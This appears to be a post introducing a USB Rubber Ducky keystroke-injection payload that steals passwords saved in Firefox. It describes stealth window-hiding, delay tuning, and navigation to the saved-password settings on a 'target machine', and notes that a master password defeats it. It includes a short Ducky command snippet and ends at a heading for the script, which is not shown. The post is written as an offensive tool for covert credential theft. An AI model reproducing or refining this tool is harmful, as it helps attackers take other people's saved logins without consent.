Firefox plaintext password stealer
I utilized Overwraith's (?) windows hiding feature and figured the rest out through trial and error. The script tries to be as stealthy as possible about what's happening, but that slows down the run speed from 12s to 15s and to it may look even more suspicious when windows are trying to hide themselves. The Hiding sections are separated with comments so you can remove them rather easily.
The delay times are somewhat strict, you may need to do play with them to make it work on a slower machine.
I went for tab + arrow navigation to make it more suitable for multi-lingual use compared to alt+letter navigation. I had some problems with REM and REPEAT commands (Used the Duck Encoder 2.2 and naked Duck version 2 firmware) so the code has been stripped from the hundreds of DOWNARROW commands.
Things to keep in mind
If firefox starts in full screen mode it won't hide itself. The script however still does what it needs to.
The navigation to settings assumes the browser is using firefox default start page (with six quick navigation icons in the bottom). If the target machine is using custom home-page, for en_US browser change
"Within FF, scroll to settings" to
ALT T
Delay 50
STRING O
DELAY 200
If the passwords saved in firefox are secured with master password, the script simply won't work.
Important
Firefox memorizes the last settings-tab used. AFAIK Ducky can't navigate to a specific tab but it can scroll in between them so make sure settings were closed with the general tab open before running the script. Otherwise you'll end up with an image of language settings or worse.
This is the first bigger one I've made so feedback is appreciated ^_^
The Script